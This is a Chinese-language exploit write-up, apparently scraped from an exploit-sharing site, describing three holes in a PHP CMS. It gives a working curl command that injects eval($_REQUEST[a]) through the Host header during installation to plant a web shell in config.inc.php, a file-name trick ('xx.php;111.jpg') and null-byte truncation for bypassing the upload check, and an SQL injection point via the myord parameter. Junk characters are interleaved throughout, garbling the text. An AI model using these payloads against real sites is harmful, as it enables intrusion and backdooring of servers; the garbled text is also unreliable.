注入:
4 x# X% L6 L8 T* x
2 {! u5 C& R" T$ }之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码3 {+ O! B* V9 r+ ^, v7 s
/ p8 Y7 V2 q$ c) R. l
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
4 o% L7 s& F0 m" C: G; A. B2 w鸡肋2: 有一定安全常识的站长都会删掉 install 目录
8 f2 r0 l/ _! q, Y+ B1 x, d w0 @# o1 v# m9 @' N
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
# E" {" a$ Y, U: _ V $ B& V. k! p" S
分析:: m' X( V, x7 I6 M! X5 D
% m0 T0 g1 f2 [0 }8 r2 S
$ m( `# P( I5 I9 K9 T* ?
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
4 c6 U8 R7 i9 q" h7 \ 9 y+ i6 a. h" R. K5 t) L/ s6 V
$filestr = fread(fopen($SysConfigFile, 'r'),30000); J+ o% X6 O5 R) |/ T0 Y, U j
$filestr=str_replace(" ","",$filestr);- A, j; }3 o; V$ J/ c. ^
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);7 k7 Q0 f1 R. W/ z8 n
$filestr=str_replace("DefaultDbName",$dbname,$filestr);6 f( J# C: l* @
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr); q) d6 t, T, o' S# v
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);% U2 {/ _6 W7 Q( a6 ]* w2 y r1 s
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
( g6 E: V% B+ m: ^5 U R8 | $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);7 l. q$ a, h1 u% _! o4 P$ u
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
- b% v) I& v( X . U8 i9 W( p- V) X5 ~1 g
fwrite(fopen($ConFile,"w"),$filestr,30000);& n- g8 i' w+ J
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^ y* K; K0 d1 `. m; x5 ?1 s
+ o8 ~8 ?; W' F' d+ F4 j* I( D
poc:
% x# Q, ?* D" t2 O. k
' g& P) o* N9 \6 _9 }?6 y( [; }# c3 N& r7 f r6 L9 _
1
8 Y2 d6 A! ^0 W. Ccurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
( e& a2 s' a: e1 r6 n; jshell地址: /config.inc.php
) [7 w8 w# J. q) J3 w3 g. Q跟之前的 phpcms一样 需要远程数据库
( d! V) l. N8 c8 P 8 B8 N* _' s' ^
——————————————————–' F. D0 _( i* y* X+ a' J
上传漏洞(需要进后台):
9 ]3 b* ?9 a' P7 g! M7 f: z G2 w漏洞文件: /kedit/upload_cgi/upload.php; s% d( v6 \! b5 d# t) j- {
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
% j# S& N/ Z& N2 z* K" g2 ~
& ]# i1 W$ W! f# |. q 7 _) ]* y2 N W" m' n) O1 Z. N
<?php
h7 o) | V. t+ D( B+ T) i define("ROOTPATH", "../../");0 o+ U8 |5 P: K$ V/ M! i1 g( G
include(ROOTPATH."includes/admin.inc.php");# h' g7 I3 c- C; E/ D$ m [8 j# H
NeedAuth(0);1 H T) \/ p+ y6 I( v$ [/ i
: }1 ?/ @+ ]- g& ~* Q, ~4 \# v( S' U8 G' R
$dt=date("Ymd",time());
: ^ P8 ~2 ?) r% F8 @! L if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
6 [( ]( h# X) y- w, G. a/ | @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);: r+ _$ Q: ?0 w; E' D, c
}/ E3 h" O- k/ d" u' K, W* W7 g
, B8 e3 k) F. g
//文件保存目录路径 k. \' C0 ~/ _2 K. R
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
) z8 s5 S" d; b# @ echo $save_path;
% x" `9 Y. Z% X //文件保存目录URL7 T: `( N1 W3 Z" Q& ]6 d
$save_url = '../../'.$_POST['attachPath'].$dt.'/'; r1 B4 {% W+ A' }4 w
6 z7 s/ U5 L |! K
//定义允许上传的文件扩展名) j" W5 g4 A3 w! G, W- u
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀" d% Z3 }5 r; B e
" {! d. O! {. Q: v: W) E- v; [9 x
//最大文件大小1 k* W& U! k) l6 C3 i
$max_size = 1000000;5 k) w6 n* i' @3 r5 p
L9 Q, R0 g8 p9 D5 L
//更改目录权限
\/ f; m$ S; D3 j# c+ x+ c @mkdir($save_path, 0777);1 Y' d: D0 M5 X0 m
$ N% i) c# [1 c5 Q, N6 |
//文件的全部路径
% Q$ a: r7 ]( I8 v2 N, p $file_path = $save_path.$_POST['fileName']; //保存文件名
- E7 h+ o6 A& B o' _6 B2 l
c* |7 `: x9 w //文件URL( m; y; Q. `* q2 N2 ^7 Q9 ]" O F
$file_url = $save_url.$_POST['fileName'];9 o7 F; T+ p2 i: K1 f* @6 V$ v
//有上传文件时0 U6 L4 O% v1 e! h
if (empty($_FILES) === false) {- E: n: t) y k* r: ~& u
7 L8 E* r3 [( r' h //原文件名, u- o' x: d2 q# \ d
$file_name = $_FILES['fileData']['name'];
8 J6 z% U% d: o: y7 g0 z //服务器上临时文件名
4 {% I' |) t+ ] $tmp_name = $_FILES['fileData']['tmp_name'];; K& C, ?6 K+ n0 f; e# D* P
//文件大小
) i! }" }% i. b" C7 o5 C/ t $file_size = $_FILES['fileData']['size'];
: B, o2 T0 j' T //检查目录
* S* e: n2 P7 o M if (@is_dir($save_path) === false) {
$ y1 ~! J$ z# ? alert("上传目录不存在。");" x& j" \5 U9 B! g% q* j% [
}" s6 \1 |/ u! t7 J5 z6 n
//检查目录写权限; O* x/ [$ ?% j0 ~# C6 j
if (@is_writable($save_path) === false) {
/ p: c' I, s d alert("上传目录没有写权限。");9 _9 Y6 L8 g0 x2 a! r
}
- n. G" E+ \# M5 g$ J: B% | //检查是否已上传
% ]; t$ v) i0 Z7 y! E; p/ u( Y if (@is_uploaded_file($tmp_name) === false) {
" k' I! R. R y7 i$ W4 L# B9 @ alert("临时文件可能不是上传文件。");% z, w5 S+ H' V& a
}* k, _. X( b& b) g( ^3 C% X- h. R/ a
//检查文件大小' ]: N& V# U3 ?
if ($file_size > $max_size) {6 }; G e. A5 r/ `3 {2 a) l+ w
alert("上传文件大小超过限制。");! m& _- w! l& h$ X- ?
}
7 Y0 ^# T) S, w- Y //获得文件扩展名6 F" d/ v+ v* O$ o: ~- ?
$temp_arr = explode(".", $_POST['fileName']);9 W) }8 K' L0 p- q" Z: l
$file_ext = array_pop($temp_arr);/ O$ I/ h4 i- |; i; U
$file_ext = trim($file_ext);
. Y- e; V- s4 I3 D $file_ext = strtolower($file_ext);
9 H3 U2 J8 ~9 _
6 I* D- I8 `. t! V8 d- j //检查扩展名
8 ], i1 O) U" x if (in_array($file_ext, $ext_arr) === false) { 7 U2 ?$ o. a" _0 L* r4 b5 H
alert("上传文件扩展名是不允许的扩展名。");
S( I1 _) Z* H* f }, v2 j% m. b4 r$ K$ S; x0 p
2 v* F4 i7 s/ D
//移动文件 " p* G% j% u9 D* r5 D, X, V
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^5 h6 `; @ L+ o$ i
if (move_uploaded_file($tmp_name, $file_path) === false) {
' R; a) f, d$ c4 O+ J alert("上传文件失败。");7 L2 N% f* J1 f* \# U7 Y
}4 {; {- P+ L8 M. }. C( ^' o6 F; j
% q% R, h: Q* Y5 Q @chmod($file_path,0666);
! t) V' A/ ]6 g / @' `5 E$ A( Y# F/ ?7 S& ]+ K
?>2 R& |. p1 w( C, a- q% ]% y m% K
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227% \$ T8 g$ p$ x1 M
" S/ V; `- N- i2 p9 r4 Uapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
{4 [1 V9 D! d% x. @4 V
) q$ U/ G) i% ^( S9 z9 t——————————————————
0 o, p, r8 C! B注入漏洞:( d6 T6 R: C, ^8 x3 x. y
漏洞文件:search/module/search.php: s& ~. U* u5 B+ }
/search/index.php?key=1&myord=1 [sqlinjection]
7 e$ r9 _6 Y8 b! r + s8 d. c; W; n
9 ]+ r- U4 D' E9 B6 E/ }
<?php
* q+ B* `6 ^9 E% M) U* C // ... 省略 n 行...! a# B4 m- Q, @4 f4 u4 B+ Y' |
//第18行:
% c7 Q! F9 P. \' F% ^ $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
% R% k) T. W3 X5 k+ d, q $page=htmlspecialchars($_GET["page"]);; T; q" }, H$ w% g9 O/ {0 v; _
$myord=htmlspecialchars($_GET["myord"]);
; Q: T* l% G' n4 Y o; |( A9 d / J B8 l' h- R
// ... 省略 n 行...% _9 g7 y! U9 D% j4 F9 \5 o
$key,$myord 两个参数带入查询
$ Q) M+ w# a0 W$ K D //第47行 $key:
8 t& I, r, v1 f' J2 f+ u' m
8 A9 x) @! u/ x: A $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..5 i' `0 o3 l9 d3 O" P" _
5 R( o. ?$ I' t% y$ y5 K; l; T
//第197行 $myord7 p( l/ J, B9 H+ W% c
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
" \: {) s" U9 W) f 1 z. F9 W- ]* V3 p% S
?>* D* m I/ C" ?) d( N3 s
|